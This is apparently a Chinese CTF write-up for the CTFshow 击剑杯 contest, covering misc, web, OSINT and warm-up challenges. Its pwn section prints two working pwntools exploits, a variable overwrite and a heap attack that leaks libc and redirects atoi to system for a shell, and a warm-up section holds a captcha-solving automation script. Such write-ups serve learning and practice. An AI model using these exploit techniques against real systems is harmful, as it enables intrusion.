CTFshow击剑杯 部分WP

摆烂了摆烂了 太难了
聪明的师傅已经组队打起月赛了
试试能不能苟住前5
苟住了 复现的后面再补充吧

@

1.Misc

麻麻的 只会一题 其他的等复现再补充吧

中文识别带师

挺好玩一个题 格局打开
在这里插入图片描述
linux nc进环境(注意进来别用win的netcat连 不然你就会像下面那样 因为utf-8的环境会乱码)
在这里插入图片描述

在这里插入图片描述
连进去后 就认字 一炷香十个字还是蛮久的
我的解法是用手机或者电脑手写板 手写出字后百度百科查注音与笔画(这把的答案是带音调的 cv过去就行了)不过 积累与特征也能做)
出题师傅的自动解法的话参考官方wp 挺复杂的 所以再次格局打开

2.Web

简单的验证码

非预期解了 耳朵听验证码 手爆登录名密码 就出了

easyPOP

好像这题也是爆非预期了 yue天痛哭
不会 暴打队里的web爷做出来的
官解很详细 不想写

3.Pwn

pwn01-My_sword_is_ready

签到题 就最简单的变量覆盖
直接丢payload了

from pwn import *
p = remote("pwn.challenge.ctf.show", 28171)
payload = b'a'*36+p32(222)*3
p.recvuntil('Come and jj with bit!\n')
p.sendline(payload)
p.interactive()

pwn02-Precision_and_grace

house of force

payload:

from pwn import *
context.log_level = "debug"
p = remote('pwn.challenge.ctf.show', 28088)
elf = ELF("./pwn03-Precision_and_grace")
libc = ELF("/home/hackerbc/64bitbc-2.27.so") 
def create(size, content):
    p.sendlineafter(" :", "1")
    p.sendlineafter(" : ", str(size))
    p.sendlineafter(":", content)
def edit(idx, content):
    p.sendlineafter(" :", "2")
    p.sendlineafter(" :", str(idx))
    p.sendlineafter(" : ", content)
def show(idx):
    p.sendlineafter(" :", "3")
    p.sendlineafter(" :", str(idx))
def delete(idx):
    p.sendlineafter(" :", "4")
    p.sendlineafter(" :", str(idx))
def getBase():
    create(0x20 - 0x8, "0")
    create(0x10, "1")
    edit(0, "a" * 0x18 + p8(0x41)) 
    delete(1)
    payload = p64(0) * 4 + p64(0x30) + p64(elf.got["atoi"])
    create(0x30, payload)
    show(1)
    libcBase = u64(p.recvuntil("\x7f")[-6: ].ljust(8, "\x00")) - libc.symbols["atoi"]
    success("libcBase -> {:x}".format(libcBase))
    return libcBase
def getShell(libcBase):
    systemAddr = libcBase + libc.symbols["system"]
    edit(1, p64(systemAddr))
    p.sendlineafter(" :", "$0")
if __name__ == "__main__":
    getShell(getBase())
    p.interactive()

4.Osint

ak了ak了 ak的我有点难受 题目是不难 有手就行 但是有一堆知识盲区 噶住了

英语阅读

签到题 但是是很有格局的一道题目
题目信息关键词是考研英语 偶像 OSINT
正常搜索大概率是搜索不到的 换成osint的英文全称(Open source intelligence)结合考研英语阅读 搜索到原文为03年的考研英语阅读题
flag的答案的人名是osint鼻祖,米国中情局创始人 所以题目中才说的是偶像

ctfshow

这是哪里

题目信息 对当地影响深远的学者 全图搜索不好搜 那就截取部分图片信息进行搜索
有可能会搜到这个:
在这里插入图片描述
但是进一步搜索可知 因为是学者 所以可以查找到此人为黄道周先生 所处位置是漳州东山黄道周公园 谷歌地图查找经纬度 后期flag改为四位数字了 更好找一点避免歧义
在这里插入图片描述

ctfshow

卡鲁铁盒

俺出的 可能港口名称这边会卡掉几个人 其实本质也是出个签到题加上看看有没有师傅直接交原题的flagorz
聪明的师傅可能已经找到了这个图的原题 没错 是原题 但是不是复现 毕竟csc number已经改掉了
附件是一个集装箱照片,车牌打码了 搜图也无法搜出图片来源
图中有效信息仅有右上角数字
在这里插入图片描述
集装箱编号因为问的是集装箱 所以卡车信息与集装箱无关联

这里引入一个新的概念叫做CSC编号Convention for Safe Containers国际集装箱安全公约 每个集装箱都有独一无二的号码
而显然右上角数字并不是集装箱的CSC编号(谁出题出这么简单啊)
你需要找到一个网站:https://www.track-trace.com/来查询这个集装箱的信息:
在这里插入图片描述

便可得到集装箱的CSC编号与退役港口名称
在这里插入图片描述

ctfshow

人家想玩嘛

太难了太难了 后面这两题要噶了

yandex识图可以找到拍摄地点与附近的全景
在这里插入图片描述
找到附近全景图
在这里插入图片描述
题目描述 未拍摄到的娱乐项目 喷泉跟哈尔法塔可以排除掉了 全景放大发现这个

在这里插入图片描述
谷歌搜索可得知当地的增值税为5% 同时在官网票价可以找到票价为
在这里插入图片描述
于是 算下税前 95% 取整一下

ctfshow

人有点多

yandex识图、谷歌识图、直接翻译日文等等可以找到店名是BIC_CAMERA(之前做日本osint的老主顾了 涉谷附近的店)
从官网可得知电话等信息 包括
出口编号为B2 但是这个前面的数字 emmm 我也不太清楚本地人是否有这种命名方式 在这里可以找到地址
所以是10号(其他地方也能找到) 最近的停靠线编号的话Wikipedia 搜索副都心线
在这里插入图片描述
最终得到flag

ctfshow

小城美食

百度识图或者积累与特征可以找到为盗月社的某期视频视频链接
6分40多时候出现了这个
在这里插入图片描述
高德地图搜索
在这里插入图片描述

ctfshow

安装arph

不知道预期解是啥 等t佬补充
b站视频搜索arch安装 视频一个一个看 通过对比字幕与视频背景 拿到bv号
在这里插入图片描述

ctfshow

5.热身

听歌识曲

从ztop师傅那得知有个东西叫网易见外工作台 可以听歌识曲
在这里插入图片描述
或者耳朵梭知道歌曲为blueberry hill
然后我是去YouTube找的。。
在这里插入图片描述
大帝的这个版本 百度百科找全名
在这里插入图片描述

ctfshow

看图识妹

手撸能撸出来 但是很累 贴一下yuntian师傅的脚本 7佬的那个脚本也tql

import os
import glob
from PIL import Image
import cv2
import numpy
import base64
import requests
def thumbnail_pic(path):
    a=glob.glob(r'./1/1.jpg')                  #当前路径创建一个叫1的文件夹放1.jpg这个图片
    for x in a:
        name=os.path.join(path,x)
        im=Image.open(name)
        im.thumbnail((im.size[0]//10,im.size[1]//10))
        im.save(name[:-4]+"_1.png",'PNG')
def pipei(target,template):
	target = cv2.imread(target)
	template = cv2.imread(template)
	theight, twidth = template.shape[:2]
	result = cv2.matchTemplate(target,template,cv2.TM_SQDIFF_NORMED)
	min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result)
	cv2.rectangle(target,min_loc,(min_loc[0]+twidth,min_loc[1]+theight),(0,0,225),20)
	strmin_val = str(min_val)
	temp_loc = min_loc
	other_loc = min_loc
	numOfloc = 1
	threshold = 0.000001
	loc = numpy.where(result<threshold)
	for other_loc in zip(*loc[::-1]):
	    if (temp_loc[0]+5<other_loc[0])or(temp_loc[1]+5<other_loc[1]):
	        numOfloc = numOfloc + 1
	        temp_loc = other_loc
	        cv2.rectangle(target,other_loc,(other_loc[0]+twidth,other_loc[1]+theight),(0,0,225),20)
	str_numOfloc = str(numOfloc)
	x = other_loc[0]
	y = other_loc[1]
	x_list = "0123456789"
	y_list = "ABCDEFGHIJKLMNOPQRST"
	point = y_list[(y-50)//75]+x_list[(x-50)//50]
	#print(point)
	return point
def url_post(url_1,url_2):
	session=requests.session()
	url_1 = url_1
	url_2 = url_2
	proxies = {'http': 'http://localhost:8080','https': 'http://localhost:8080'}  
	cookies=""
	session=requests.session()
	for i in range(0,102):
		req_1 = session.get(url=url_1,cookies=cookies)
		if r"ctfshow" in req_1.text:
			print(req_1.text)
			break
		imgdata = base64.b64decode(req_1.text[169:-140])
		file = open('./1/1.jpg','wb')    #也是上面1文件夹
		file.write(imgdata)
		file.close()
		path='.'
		thumbnail_pic(path)
		point = pipei("./all (2).png","./1/1_1.png")     #第一个是需要匹配的图片,就是100个图片在一起的,后面是thumbnail_pic函数改名的
		
		data = {
			"meizi_id" : point
		}
		req_2 = session.post(url=url_2,data=data)
		req_2 = session.get(url=url_1,proxies=proxies)
		jar = requests.cookies.RequestsCookieJar()

		cookies = requests.utils.dict_from_cookiejar(session.cookies)
		print(i)
		print("=============")
		print(cookies)
url_post("http://8f4d8fc8-f5bc-4dcf-93a3-b5233658f3f4.challenge.ctf.show/start","http://8f4d8fc8-f5bc-4dcf-93a3-b5233658f3f4.challenge.ctf.show//check")#修改url

进群得码

群主设置了陷阱hhh
群里喊一声 击剑杯签到即可

ctfshow

posted @ 2021-11-26 12:47  Suica  阅读(482)  评论(0编辑  收藏  举报